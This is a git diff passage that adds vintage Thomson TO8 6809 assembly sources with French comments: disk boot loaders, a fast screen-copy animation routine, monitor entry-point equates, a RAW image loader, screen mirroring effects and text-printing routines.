+* les valeurs mises sont celles en
+* vigueur hors extra mon !!!
+
+ LDD #$F001
+ STD $601C
+ LDD #$F017
+ STD $601E
+
+ LDU #ACTIT
+ LBSR COMBK1
+
+ LDA #$FF présence disk
+ STA $6080
+ LDB #$44 commut.bank
+ STB $6081 ram pia
+ STB >$E7E7 (compatibilité)
+
+ JMP $E007 ->
+
+PBBOOT LDB #$54 commut.bank
+ STB $6081 ram E7E5
+ STB >$E7E7 (compatibilité)
+
+ LDX #DEBBOO-$4000
+ LDY #$A000 flag pour redem.
+COPBOO LDA ,X+
+ STA ,Y+
+ CMPX #FINBOO-$4000
+ BNE COPBOO ->
+ JSR $A000
+
+ LDU #DEBUT
+ LBSR COMBK1 ->>>>>
+
+DEBBOO DEC >$E7E6
+ LDA >$E7E6 autorise écrit
+ ORA #$40 cartouche
+ STA >$E7E6
+ LDA #$FF
+ STA FLGBOO
+ LDA >$E7E6 interdit écrit
+ ANDA #$BF
+ STA >$E7E6
+ INC >$E7E6
+ RTS
+FINBOO EQU *
+
+ END
diff --git a/code/3rdparty/sources6-divers/BinLoaders/BOOTINI.ASM b/code/3rdparty/sources6-divers/BinLoaders/BOOTINI.ASM
new file mode 100644
index 0000000..f7d6b4b
--- /dev/null
+++ b/code/3rdparty/sources6-divers/BinLoaders/BOOTINI.ASM
@@ -0,0 +1,85 @@
+****************************************
+* *
+* - BOOTINI : CHARGEMENT AUTOMATIQUE - *
+* *
+* - SUR LA PISTE 0 ET ET LE SECTEUR 1 *
+* *
+* - INITIALISATION EFFACEMENT TITRE - *
+* *
+****************************************
+
+* DISQUE RESEAU 1
+
+* TITRE DU LOGICIEL ... : 49144/49151
+
+* ADR. DEB.LOG. MOINS 5 : à la suite +1
+
+* ADR. DE FIN LOGICIEL : à la suite +1
+
+* ADR. D'EXECUTION LOG. : à la suite +1
+
+
+ZDEBUT EQU 49000
+
+ ORG ZDEBUT
+
+
+ JSR 59392
+ LEAU TABINI,PCR
+BCLINI LDB ,U+
+ JSR 59395
+ CMPB #67 Fin Initialisation
+ BNE BCLINI
+ LEAU TABNOM,PCR
+BCLNOM LDB ,U+ C'est ici que le
+ TSTB programme BASIC
+ BEQ SUITE1 implante le titre
+ JSR 59395 du Logiciel
+ BRA BCLNOM
+
+SUITE1 LDB #27
+ JSR 59395 Rétablissement de
+ LDB #76 l' ATTRB 0,0
+ JSR 59395
+
+ LDX ,U++ Déb.Log. MOINS 5
+ LDD #21 A = 0 B = 21
+ STD 24650 Piste = 21
+
+BOUCLE STX 24655 Buffer Début Log.
+ INCA Début A = 1
+ CMPA #16 Secteur No.16 ?
+ BHI SUIBCL
+ STA 24652 Registre de Sect.
+ LDB #2
+ STB 24648 Mot de Lecture
+ JSR 59434 Routine DSK
+ LEAX 255,X
+ CMPX ,U Adr. Fin du Log.
+ BLO BOUCLE
+
+ LEAU 2,U
+ LDX ,U
+ JMP ,X
+
+SUIBCL CLRA
+ INC 24651 Registre de Piste
+ BRA BOUCLE
+
+TABINI FCB 20,27,80,27,96,12,31,76,81
+ FCB 27,77,27,67,0,0,0,0,0,0,0
+ FCB 0,0,0,0,0,0,0,0,0,0,0,0,0
+ FCB 0,0,0,0,0,0,0,0,0,0,0,0,0
+ FCB 0,0,0,0,0,0,0,0,0,0,0
+
+TABNOM FCB 0,0,0,0,0,0,0,0,0,0,0,0
+ FCB 0,0,0,0,0,0,0,0,0,0,0,0
+ FCB 0,0,0,0,0,0,0,0,0,0,0,0
+ FCB 0,0,0,0,0,0,0,0,0,0,0,0
+ FCC *BOOTSTRAP REALISE PAR JR*
+ FCC *.QUIROZ - NOVEMBRE 1989 *
+ FCB 0,0,0,0,0,0,0,0,0,0,0,0,0
+ FCB 0,0,0,0,0,0,0,0,0,0,0,0,0
+ZZZFIN FCB 0
+
+ END ZDEBUT
diff --git a/code/3rdparty/sources6-divers/BinLoaders/BOOTPEL.ASM b/code/3rdparty/sources6-divers/BinLoaders/BOOTPEL.ASM
new file mode 100644
index 0000000..971a253
--- /dev/null
+++ b/code/3rdparty/sources6-divers/BinLoaders/BOOTPEL.ASM
@@ -0,0 +1,148 @@
+DSKO EQU $E82A
+DKOPC EQU $6048
+DKDRV EQU $6049
+DKTRK EQU $604A
+DKSEC EQU $604C
+DKNUM EQU $604D
+DKSTA EQU $604E
+DKBUF EQU $604F
+
+ ORG $9000
+DEBUT LEAY TEXT2,PCR
+ LBSR ECRA1
+DEB1 JSR $E806
+ ANDB #$DF
+ TSTB
+ BEQ DEB1
+ CMPB #$59
+ BEQ YETI
+ CMPB #$50
+ BEQ PULSAR
+ CMPB #$45
+ BNE DEB1
+ELIM LBSR ECRAN
+ LDX #$7000
+ PSHS X
+ LDA #1
+ BSR FIXE
+ELIM1 LDA #0
+ LDB #4
+ LDX #$9000
+ BSR LISSEC
+ JMP $9000
+YETI LBSR ECRAN
+ LDA #4
+YETI2 LDX #$A000
+ PSHS X
+ BSR LOADBA
+ BRA ELIM1
+PULSAR LBSR ECRAN
+ LDA #8
+ BRA YETI2
+
+
+
+
+
+
+
+***************************************
+* LECTURE D'UN SECTEUR *
+* A=PISTE B=SECTEUR X=@BUFFER *
+***************************************
+LISSEC PSHS Y
+ LDY #DKOPC
+ CLR 2,Y NUMERO DE
+ STA 3,Y PISTE
+ STB 4,Y SECTEUR
+ CLR 1,Y DRIVE 0
+ STX 7,Y @BUFFER
+ LDA #2
+ STA ,Y
+ JSR DSKO
+ PULS Y,PC
+
+
+****************************************
+* LECTURE D'UN FICHIER BINAIRE *
+* POUR LA BANQUE FIXE DE $7000 à$9FFF *
+* DANS LES PISTES 1-2-3 *
+****************************************
+FIXE
+ LDX #$7000
+ TFR A,B
+ ADDB #3
+ STB COM+1,PCR
+ LDB #1
+BOU1 PSHS X,D
+ BSR LISSEC
+ PULS X,D
+ LEAX 256,X
+ INCB
+ CMPB #17
+ BNE BOU1
+ LDB #1
+ INCA
+COM CMPA #4
+ BNE BOU1
+
+ RTS
+
+
+
+***************************************
+* CHARGEMENT D'UNE BANQUE *
+* A=NUMERO DELA 1ERE PISTE *
+***************************************
+LOADBA LDX #$A000
+ TFR A,B
+ ADDB #4
+ STB COMPT+1,PCR
+ LDB #1
+BOU2 PSHS X,D
+ BSR LISSEC
+ PULS X,D
+ LEAX 256,X
+ INCB
+ CMPB #17
+ BNE BOU2
+ LDB #1
+ INCA
+COMPT CMPA #5
+ BNE BOU2
+ RTS
+
+ECRAN
+
+ LEAY TEXTE,PCR
+
+ECRA1 LDB ,Y+
+ BEQ FIN
+ JSR $E803
+ BRA ECRA1
+FIN RTS
+TEXTE FCB $1B,$64,$1B,$47,27,$54,$C
+ FCC ''
+ FCC 'Copyright Loriciels 1986'
+ FCB 10,13,10,10,10,10
+ FCB 0
+TEXT2 FCB $1B,$54,$1B,$64,$47,$0C
+ FCB $1B,$4F,$1F,$48,$4A,$1B
+ FCB $5C
+ FCC 'Y'
+ FCB $1B,$4E,$1B,$5C
+ FCC 'ETI'
+ FCB $1F,$4B,$4A,$1B,$4F,$1B
+ FCB $5C
+ FCC 'P'
+ FCB $1B,$4E,$1B,$5C
+ FCC 'ULSAR'
+ FCB $1F,$4E,$4A,$1B,$5C,$1B
+ FCB $4F
+ FCC 'E'
+ FCB $1B,$4E,$1B,$5C
+ FCC 'LIMINATOR'
+ FCB $1B,$4C,0
+
+
+ END
diff --git a/code/3rdparty/sources6-divers/CARTOONS.ASM b/code/3rdparty/sources6-divers/CARTOONS.ASM
new file mode 100644
index 0000000..799b852
--- /dev/null
+++ b/code/3rdparty/sources6-divers/CARTOONS.ASM
@@ -0,0 +1,56 @@
+**************************************
+**************************************
+** **
+** *** * ** *** *** *** * * *** **
+** * * * * * * * * * * ** * * **
+** * *** ** * * * * * * ** *** **
+** * * * * * * * * * * * * * **
+** *** * * * * * *** *** * * *** **
+** **
+**************************************
+**************************************
+** **
+** Par Michel SAINT-BRIANT (c) ASCI **
+** **
+**************************************
+**************************************
+* permet de transferer une zone de la
+* page d'affichage no 0 sur les pages
+* 2 ou 3 puis de commuter ladite page
+* ce qui permet un affichage instan-
+* utilisable pour des animations.
+**************************************
+
+
+ ORG $8000
+G PSHS X,Y,U,A,B,DP,CC
+ LDA #2 commutation de la
+ STA $E7E5 bank basic 1
+ LDU #$4262 zone lecture
+ LDY #$C4BA zone écriture
+ LDA #170 170 lignes
+ STA COMPT sur compteur
+BOUCLE PULU A,B,X < équivaut LDD,U++
+ STD ,Y++ & LDX,Y++ mais en
+ STX ,Y++ plus rapide: 9 cy
+ PULU A,B,X cles au lieu de16
+ STD ,Y++ < 8 cycles
+ STX ,Y++ < 8 cycles
+ PULU A,B,X
+ STD ,Y++ donc (8+8+9)*5=
+ STX ,Y++ 125 cycles par
+ PULU A,B,X ligne + 16 pour
+ STD ,Y++ boucle donc en
+ STX ,Y++ tout 151*170=
+ PULU A,B,X 25670 cycles
+ STD ,Y++ d'où 1/40 s
+ STX ,Y++
+ LEAU 20,U 8 cycles )
+ LEAY 20,Y 8 cycles ) =
+ DEC COMPT 7 cycles ) 26
+ BNE BOUCLE 3 cycles )
+ LDA #$80 on valide bank 1
+ STA $E7DD pour l'écran
+ PULS CC,A,B,DP,X,Y,U,PC
+COMPT NOP
+ END
diff --git a/code/3rdparty/sources6-divers/EQUATES.ASM b/code/3rdparty/sources6-divers/EQUATES.ASM
new file mode 100644
index 0000000..683de30
--- /dev/null
+++ b/code/3rdparty/sources6-divers/EQUATES.ASM
@@ -0,0 +1,30 @@
+***********************
+* *
+* POINTS D'ENTREE *
+* * DISQUE RESEAU 1
+* DU MONITEUR TO8 *
+* *
+***********************
+
+PUTC EQU $E803
+PLOT EQU $E80F
+DRAW EQU $E80C
+GETP EQU $E821
+KTST EQU $E809
+GETC EQU $E806
+PEIN EQU $EC09
+GEPE EQU $EC06
+LPIN EQU $E81B
+GETL EQU $E818
+JOYS EQU $E827
+RSCO EQU $E812
+K7CO EQU $E815
+DKFORM EQU $E007
+DKCO EQU $E82A
+SETP EQU $EC00
+NOTE EQU $E81E
+COMS EQU $EC03
+EXTRA EQU $EC0C
+MENU EQU $E82D
+CHPL EQU $E833
+KBIN EQU $E830
diff --git a/code/3rdparty/sources6-divers/RAW16.ASM b/code/3rdparty/sources6-divers/RAW16.ASM
new file mode 100644
index 0000000..fc010cf
--- /dev/null
+++ b/code/3rdparty/sources6-divers/RAW16.ASM
@@ -0,0 +1,251 @@
+* LECTURE D'UNE IMAGE RAW
+* SOURCE :
+* 320X200 16 COULEURS
+* DESTINATION :
+* 160X200 16 COULEURS (BITMAP 16)
+*
+* COPYRIGHT (C) HOME SOFT 1992
+
+ ORG $9000
+
+PUTC EQU $E803
+EXTRA EQU $EC0C
+DKDRV EQU $6049
+OPEN EQU 03
+FILMOD EQU $624B
+FILNAM EQU $624F
+INPUT EQU 05
+CARCOU EQU $6196
+EOFFLG EQU $6178
+CLOSE EQU 06
+PRC EQU $E7C3
+
+START PSHS A,B,X,Y,U,DP,CC
+ LDB #$1B
+ JSR PUTC
+ LDB #$5E
+ JSR PUTC
+ LDB #$14
+ JSR PUTC
+ CLR $E7DD
+
+ CLR DKDRV
+ LDB #$10
+ STB FILMOD
+ LDX #FILNAM
+ LDU #NAME
+NA2 LDB ,U+
+ BEQ NA1
+ STB ,X+
+ BRA NA2
+
+NA1 LDB #OPEN
+ JSR EXTRA
+
+ LDX #$4000
+ LDA PRC
+ ANDA #254
+ STA PRC
+
+LI11 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ LBNE STP
+ INC PRC
+ LDA CARCOU
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI12
+ ORB #$10
+ BRA LI13
+LI12 ANDB #$EF
+LI13 LSLA
+ LSLA
+ BCC LI14
+ ORB #$01
+ BRA LI15
+LI14 ANDB #$FE
+LI15 STB ,X
+ DEC PRC
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI16
+ ORB #$10
+ BRA LI17
+LI16 ANDB #$EF
+LI17 LSLA
+ LSLA
+ BCC LI18
+ ORB #$01
+ BRA LI19
+LI18 ANDB #$FE
+LI19 STB ,X+
+ CMPX #$5F40
+ BLO LI11
+
+ LDX #$4000
+
+LI21 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ LBNE STP
+ INC PRC
+ LDA CARCOU
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI22
+ ORB #$20
+ BRA LI23
+LI22 ANDB #$DF
+LI23 LSLA
+ LSLA
+ BCC LI24
+ ORB #$02
+ BRA LI25
+LI24 ANDB #$FD
+LI25 STB ,X
+ DEC PRC
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI26
+ ORB #$20
+ BRA LI27
+LI26 ANDB #$DF
+LI27 LSLA
+ LSLA
+ BCC LI28
+ ORB #$02
+ BRA LI29
+LI28 ANDB #$FD
+LI29 STB ,X+
+ CMPX #$5F40
+ BLO LI21
+
+ LDX #$4000
+
+LI31 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ LBNE STP
+ INC PRC
+ LDA CARCOU
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI32
+ ORB #$40
+ BRA LI33
+LI32 ANDB #$BF
+LI33 LSLA
+ LSLA
+ BCC LI34
+ ORB #$04
+ BRA LI35
+LI34 ANDB #$FB
+LI35 STB ,X
+ DEC PRC
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI36
+ ORB #$40
+ BRA LI37
+LI36 ANDB #$BF
+LI37 LSLA
+ LSLA
+ BCC LI38
+ ORB #$04
+ BRA LI39
+LI38 ANDB #$FB
+LI39 STB ,X+
+ CMPX #$5F40
+ BLO LI31
+
+ LDX #$4000
+
+LI41 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ LBNE STP
+ INC PRC
+ LDA CARCOU
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI42
+ ORB #$80
+ BRA LI43
+LI42 ANDB #$7F
+LI43 LSLA
+ LSLA
+ BCC LI44
+ ORB #$08
+ BRA LI45
+LI44 ANDB #$F7
+LI45 STB ,X
+ DEC PRC
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI46
+ ORB #$80
+ BRA LI47
+LI46 ANDB #$7F
+LI47 LSLA
+ LSLA
+ BCC LI48
+ ORB #$08
+ BRA LI49
+LI48 ANDB #$F7
+LI49 STB ,X+
+ CMPX #$5F40
+ BLO LI41
+
+ CLR COUL
+A0 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ BNE STP
+ LDA CARCOU
+ STA ROUGE
+ LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ BNE STP
+ LDA CARCOU
+ ANDA #$F0
+ STA VERT
+ LDA CARCOU
+ ANDA #$0F
+ STA BLEU
+
+ LDA COUL
+ ASLA
+ STA $E7DB
+ LDA BLEU
+ LDB VERT
+ ORB ROUGE
+ STB $E7DA
+ STA $E7DA
+
+ INC COUL
+ LDB COUL
+ CMPB #16
+ BLO A0
+
+STP LDB #CLOSE
+ JSR EXTRA
+ PULS A,B,X,Y,U,DP,CC,PC
+
+NAME FCC " RAW"
+ FCB 0
+COUL RMB 1
+ROUGE RMB 1
+VERT RMB 1
+BLEU RMB 1
+
+ END
diff --git a/code/3rdparty/sources6-divers/SCREEN.ASM b/code/3rdparty/sources6-divers/SCREEN.ASM
new file mode 100644
index 0000000..0518b97
--- /dev/null
+++ b/code/3rdparty/sources6-divers/SCREEN.ASM
@@ -0,0 +1,355 @@
+*********************
+* *
+* SCREEN.ASM * DISQUE RESEAU 1
+* *
+*********************
+
+ ORG $A000
+ PSHS A,B,X,Y,U,DP
+ LDB CHOIX,PCR
+ CLR ADR,PCR
+ CLR ADR1,PCR
+ CLR ADR4,PCR
+ CMPB #$02
+ BHI SUIT1
+ BRA ROUT1
+SUIT1 CMPB #$0A
+ BHI SUIT2
+ BRA ROUT2
+SUIT2 PULS A,B,X,Y,U,DP
+ RTS
+*****************************
+****SYMETRIE I (H VERS B)****
+*****************************
+ROUT1 LDD #$4027
+ STD ADR2,PCR
+ LDD #$F78
+ STD ADR4,PCR
+ LDX #$4000
+DEBUT1 TFR X,D
+ ADDD ADR4,PCR
+ ADDD ADR4,PCR
+ ADDD #$28
+ TFR D,Y
+ LBSR RAMA
+ LDA ,X
+ LDB CHOIX,PCR
+ CMPB #$02
+ BNE SYMI11
+ LDB ,Y
+ STB ,X
+SYMI11 STA ,Y
+ LBSR RAMB
+ LDA ,X
+ LDB CHOIX,PCR
+ CMPB #$02
+ BNE SYMI12
+ LDB ,Y
+ STB ,X
+SYMI12 STA ,Y
+ LEAX 1,X
+ CMPX ADR2,PCR
+ BLS ENCOR1
+ LDD ADR2,PCR
+ ADDD #$28
+ STD ADR2,PCR
+ LDD ADR4,PCR
+ SUBD #$28
+ STD ADR4,PCR
+ENCOR1 CMPX #$4FA0
+ BNE DEBUT1
+ PULS A,B,X,Y,U,DP
+ RTS
+******************************
+****SYMETRIE II (D VERS G)****
+******************************
+ROUT2 LDX #$4000
+ CLR ADR2,PCR
+ LDA #$27
+ STA ADR3,PCR
+DEBUT2 TFR X,D
+ ADDD ADR2,PCR
+ TFR D,Y
+ BSR SUB2
+ LEAX 40,X
+ CMPX #$5F3F
+ BLS ENCOR2
+ TFR X,D
+ SUBD #$1F3F
+ TFR D,X
+ LDA ADR3,PCR
+ SUBA #$02
+ STA ADR3,PCR
+ENCOR2 CMPX #$4014
+ BNE DEBUT2
+ PULS A,B,X,Y,U,DP
+ RTS
+************
+****SUB2****
+************
+SUB2 LDA CHOIX,PCR
+ CMPA #$03
+ BNE CONT1
+ BRA SUB3
+CONT1 CMPA #$04
+ BNE CONT2
+ BRA SUB4
+CONT2 CMPA #$05
+ BNE CONT3
+ BRA SUB5
+CONT3 CMPA #$06
+ BNE CONT4
+ BRA SUB6
+CONT4 CMPA #$07
+ BNE CONT5
+ LBRA SUB7
+CONT5 CMPA #$08
+ BNE CONT6
+ LBRA SUB8
+CONT6 CMPA #$09
+ BNE CONT7
+ LBRA SUB9
+CONT7 LBRA SUB10
+************
+****SUB3****
+************
+SUB3 LBSR RAMA
+ CLRA
+ RORA
+ LDA ,X
+ LBSR TRA1
+ STA ,Y
+ LBSR RAMB
+ LDA ,X
+ STA ,Y
+ RTS
+************
+****SUB4****
+************
+SUB4 LBSR RAMA
+ CLRA
+ RORA
+ LDA ,X
+ LBSR TRA1
+ STA ,Y
+ LBSR RAMB
+ LDA ,X
+ LBSR TRA1
+ STA ,Y
+ RTS
+************
+****SUB5****
+************
+SUB5 LBSR RAMA
+ CLRA
+ RORA
+ LDA ,X
+ LBSR TRA2
+ STA ADR5,PCR
+ LBSR RAMB
+ LDA ADR5,PCR
+ STA ,Y
+ LDA ,X
+ LBSR TRA2
+ STA ADR5,PCR
+ LBSR RAMA
+ LDA ADR5,PCR
+ STA ,Y
+ RTS
+************
+****SUB6****
+************
+SUB6 LBSR RAMA
+ CLRA
+ RORA
+ LDA ,X
+ LBSR TRA1
+ STA ADR5,PCR
+ LBSR RAMB
+ LDA ADR5,PCR
+ STA ,Y
+ LDA ,X
+ LBSR TRA1
+ STA ADR5,PCR
+ LBSR RAMA
+ LDA ADR5,PCR
+ STA ,Y
+ RTS
+************
+****SUB7****
+************
+SUB7 LBSR RAMA
+ CLRA
+ RORA
+ LDA ,X
+ LBSR TRA1
+ STA ADR6,PCR
+ LDA ,Y
+ LBSR TRA1
+ STA ,X
+ LDA ADR6,PCR
+ STA ,Y
+ LBSR RAMB
+ LDA ,X
+ LDB ,Y
+ STA ,Y
+ STB ,X
+ RTS
+************
+****SUB8****
+************
+SUB8 LBSR RAMA
+ CLRA
+ RORA
+ LDA ,X
+ LBSR TRA1
+ STA ADR6,PCR
+ LDA ,Y
+ LBSR TRA1
+ STA ,X
+ LDA ADR6,PCR
+ STA ,Y
+ LBSR RAMB
+ LDA ,X
+ LBSR TRA1
+ STA ADR6,PCR
+ LDA ,Y
+ LBSR TRA1
+ STA ,X
+ LDA ADR6,PCR
+ STA ,Y
+ RTS
+************
+****SUB9****
+************
+SUB9 LBSR RAMA
+ CLRA
+ RORA
+ LDA ,X
+ LBSR TRA2
+ STA ADR6,PCR
+ LBSR RAMB
+ LDA ,Y
+ LBSR TRA2
+ TFR A,B
+ LDA ADR6,PCR
+ STA ,Y
+ LBSR RAMA
+ STB ,X
+ LBSR RAMB
+ LDA ,X
+ LBSR TRA2
+ STA ADR6,PCR
+ LBSR RAMA
+ LDA ,Y
+ LBSR TRA2
+ TFR A,B
+ LDA ADR6,PCR
+ STA ,Y
+ LBSR RAMB
+ STB ,X
+ RTS
+*************
+****SUB10****
+*************
+SUB10 LBSR RAMA
+ CLRA
+ RORA
+ LDA ,X
+ LBSR TRA1
+ STA ADR6,PCR
+ LBSR RAMB
+ LDA ,Y
+ BSR TRA1
+ TFR A,B
+ LDA ADR6,PCR
+ STA ,Y
+ BSR RAMA
+ STB ,X
+ BSR RAMB
+ LDA ,X
+ BSR TRA1
+ STA ADR6,PCR
+ BSR RAMA
+ LDA ,Y
+ BSR TRA1
+ TFR A,B
+ LDA ADR6,PCR
+ STA ,Y
+ BSR RAMB
+ STB ,X
+ RTS
+************
+****TRA1****
+************
+TRA1 TFR A,B
+ ANDA #$F0
+ ANDB #$0F
+ RORA
+ RORA
+ RORA
+ RORA
+ ROLB
+ ROLB
+ ROLB
+ ROLB
+ STB ADR5,PCR
+ ORA ADR5,PCR
+ TFR A,B
+ ANDA #$CC
+ ANDB #$33
+ RORA
+ RORA
+ ROLB
+ ROLB
+ STB ADR5,PCR
+ ORA ADR5,PCR
+ TFR A,B
+ ANDA #$AA
+ ANDB #$55
+ RORA
+ ROLB
+ STB ADR5,PCR
+ ORA ADR5,PCR
+ RTS
+************
+****TRA2****
+************
+TRA2 TFR A,B
+ ANDA #$0F
+ ANDB #$F0
+ ROLA
+ ROLA
+ ROLA
+ ROLA
+ RORB
+ RORB
+ RORB
+ RORB
+ STB ADR5,PCR
+ ORA ADR5,PCR
+ RTS
+************
+****RAMA****
+************
+RAMA LDA >$E7C3
+ ORA #$01
+ STA >$E7C3
+ RTS
+************
+****RAMB****
+************
+RAMB LDA >$E7C3
+ ANDA #$FE
+ STA >$E7C3
+ RTS
+*****************
+CHOIX FCB $00
+ADR FCB 00
+ADR1 FCB 00
+ADR2 FCB 00
+ADR3 FCB 00
+ADR4 FCB 00
+ADR5 FCB 00
+ADR6 FCB 00
+ END
diff --git a/code/3rdparty/sources6-divers/SOURCE60.SAP b/code/3rdparty/sources6-divers/SOURCE60.SAP
new file mode 100755
index 0000000..0836fb9
--- /dev/null
+++ b/code/3rdparty/sources6-divers/SOURCE60.SAP
Binary files differ
diff --git a/code/3rdparty/sources6-divers/SOURCE61.SAP b/code/3rdparty/sources6-divers/SOURCE61.SAP
new file mode 100755
index 0000000..9606d0f
--- /dev/null
+++ b/code/3rdparty/sources6-divers/SOURCE61.SAP
Binary files differ
diff --git a/code/3rdparty/sources6-divers/TextPrint/PUTC3.ASM b/code/3rdparty/sources6-divers/TextPrint/PUTC3.ASM
new file mode 100644
index 0000000..de37c65
--- /dev/null
+++ b/code/3rdparty/sources6-divers/TextPrint/PUTC3.ASM
@@ -0,0 +1,155 @@
+***********************
+* * PUTC3.ASM
+* PUTC ETENDU AU *
+* MODE BIP.MAP 16 * DISQUE
+* *
+*********************** RESEAU 1
+
+ ORG $A000
+ PSHS A,B,X,Y,U,CC
+ LDA COL,PCR *COLONNE
+ CMPA #19 *19 MAX
+ BHI ARRET
+ LDA LIG,PCR *LIGNE
+ CMPA #24 *24 MAX
+ BHI ARRET
+ LDA COUL,PCR *COULEUR
+ CMPA #$0F *15 MAX
+ BHI ARRET
+ LDA LETTRE,PCR *DATA
+ CMPA #32 *DU TEXTE
+ BHS SUIT
+ARRET LDB #$07
+ JSR >$E803
+ PULS A,B,X,Y,U,CC,PC
+SUIT LDA LIG,PCR *CALCUL DE ADR
+ LDB #$08 *OU SERA AFFICHE
+ MUL *LA LETTRE.
+ LDA #$28
+ MUL
+ TFR D,X
+ LDA #$02
+ LDB COL,PCR
+ MUL
+ ADDD #$4000
+ LEAX D,X
+ TFR X,D *FIN DU CALCUL
+ ADDD #280
+ TFR D,U
+ LDX LETTRE,PCR
+DEBUT LDY >$60CF
+ LDA ,X *CALCUL DE ADR
+ SUBA #32 *OU EST STOCKEE
+ LDB #$08 *LA LETTRE.
+ MUL
+ LEAY D,Y *FIN CALCUL
+ LDB #$08
+ENCOR1 BSR SUB1
+ LEAY 1,Y
+ LEAU -$29,U
+ DECB
+ BNE ENCOR1
+ LEAX 1,X
+ LDA ,X
+ BNE ENCOR2
+ LDA COL,PCR *MODIFIE
+ INCA *COOR AVANT
+ STA COL,PCR *RETOUR
+ CMPA #20
+ BLO FIN
+ INC LIG,PCR
+ CLR COL,PCR
+FIN PULS A,B,X,Y,U,CC,PC
+ENCOR2 INC COL,PCR
+ LDA COL,PCR
+ CMPA #20
+ BLO ENCOR3
+ CLR COL,PCR
+ LEAU 280,U
+ INC LIG,PCR
+ LDA LIG,PCR
+ CMPA #25
+ BHS ARRET
+ENCOR3 LEAU 322,U
+ BRA DEBUT
+************
+****SUB1****
+************
+SUB1 LDA >$E7C3 *ROUTINE D'AFFI
+ ORA #$01 *DE LA LETTRE.
+ STA >$E7C3
+ LDA ,Y
+ ANDA #$80
+ BEQ SUIT1
+ BSR SUB2
+SUIT1 LDA ,Y
+ ANDA #$40
+ BEQ SUIT2
+ BSR SUB3
+SUIT2 LDA >$E7C3
+ ANDA #$FE
+ STA >$E7C3
+ LDA ,Y
+ ANDA #$20
+ BEQ SUIT3
+ BSR SUB2
+SUIT3 LDA ,Y
+ ANDA #$10
+ BEQ SUIT4
+ BSR SUB3
+SUIT4 LEAU 1,U
+ LDA >$E7C3
+ ORA #$01
+ STA >$E7C3
+ LDA ,Y
+ ANDA #$08
+ BEQ SUIT5
+ BSR SUB2
+SUIT5 LDA ,Y
+ ANDA #$04
+ BEQ SUIT6
+ BSR SUB3
+SUIT6 LDA >$E7C3
+ ANDA #$FE
+ STA >$E7C3
+ LDA ,Y
+ ANDA #$02
+ BEQ SUIT7
+ BSR SUB2
+SUIT7 LDA ,Y
+ ANDA #$01
+ BEQ SUIT8
+ BSR SUB3
+SUIT8 RTS
+************
+****SUB2****
+************
+SUB2 LDA ,U
+ ANDA #$0F
+ STA ,U
+ LDA COUL,PCR
+ ASLA
+ ASLA
+ ASLA
+ ASLA
+ ORA ,U
+ STA ,U
+ RTS
+************
+****SUB3****
+************
+SUB3 LDA ,U
+ ANDA #$F0
+ STA ,U
+ LDA COUL,PCR
+ ORA ,U
+ STA ,U
+ RTS
+*************
+****STOCK****
+*************
+COL FCB $00
+LIG FCB $00
+COUL FCB $00
+LETTRE FDB $0000
+ END
diff --git a/code/3rdparty/sources6-divers/TextPrint/PUTC340.ASM b/code/3rdparty/sources6-divers/TextPrint/PUTC340.ASM
new file mode 100644
index 0000000..103e054
--- /dev/null
+++ b/code/3rdparty/sources6-divers/TextPrint/PUTC340.ASM
@@ -0,0 +1,171 @@
+****************************
+* PUTC3 EN 40 COLONNES *
+* REPRISE DE PUTC3 *
+* ET DE PUTC80 * DISQUE
+* TRANSLATABLE. * RESEAU 1
+* NOM : PUTC340 *
+****************************
+
+ ORG $A000
+ PSHS U,Y,X,B,A,CC
+ LDA COUL,PCR
+ CMPA #16
+ BHS FIN
+ LDA COL,PCR
+ CMPA #39
+ BHS FIN
+ LDA LIG,PCR
+ CMPA #24
+ BLS S01
+FIN LDB #$07
+ JSR >$E803
+FIN1 PULS CC,A,B,X,Y,U,PC
+S01 LDB #$08 *CALCULS :
+ MUL
+ LDA #$28 *NO LIG
+ MUL
+ ADDD #$4000 *ADR D'AFFICHA
+ TFR D,X
+ LDB COL,PCR
+ ABX
+ TFR X,U *U POINTE ADR
+ LDX TEX,PCR *X POINTE TEX
+DEBUT LDY POL,PCR *Y POINTE POL
+ LDA ,X+ *NUMERO LETTRE
+ CMPA #$1F *MODIFIE
+ BLS FIN1 *POUR CONFORMITE
+ CMPA #$7F *ASCII
+ BHI FIN1
+ CMPA #64 *TEST SI A-Z
+ BLS S02
+ CMPA #91
+ BHS S02
+ SUBA #65
+ BRA SUIT
+S02 CMPA #96 *TEST SI a-z
+ BLS S03
+ CMPA #127
+ BEQ S05
+ SUBA #45
+ BRA SUIT
+S03 CMPA #47 *TEST SI 0-9
+ BLS S04
+ CMPA #58
+ BHS S04
+ SUBA #06
+ BRA SUIT
+S04 CMPA #36 *TEST SI -#
+ BHS S05
+ SUBA #06
+ BRA SUIT
+S05 LDB #30
+ PSHS U
+ LEAU TAB,PCR
+S06 CMPA ,U+
+ BEQ S07
+ INCB
+ CMPB #42
+ BNE S06
+S07 TFR B,A
+ PULS U
+SUIT LDB #8
+ STA NUM,PCR
+ LSRA
+ MUL
+ LEAY D,Y
+ LDB #$08
+S09 LDA ,Y+
+ BSR AFFI
+ LEAU $28,U
+ DECB
+ BNE S09
+ LEAU -$140,U
+ INC COL,PCR
+ LDA COL,PCR
+ CMPA #40
+ BNE S08
+ CLR COL,PCR
+ INC LIG,PCR
+ LDA LIG,PCR
+ CMPA #25
+ LBEQ FIN
+ LEAU $118,U
+S08 LEAU $01,U
+ LBRA DEBUT
+************************
+****AFFICHAGE LETTRE****
+************************
+AFFI PSHS B *A POINTE SUR
+ BSR RAMA *FORME LETTRE
+ LDB NUM,PCR
+ LSRB
+ BCC S11
+ LSLA *DECAL A SI NUM
+ LSLA *IMPAIRE.
+ LSLA *CAR 2 LETTRES
+ LSLA *PAR OCTET.
+S11 LSLA
+ BCC SUIT1
+ BSR SUB2
+SUIT1 LSLA
+ BCC SUIT2
+ BSR SUB3
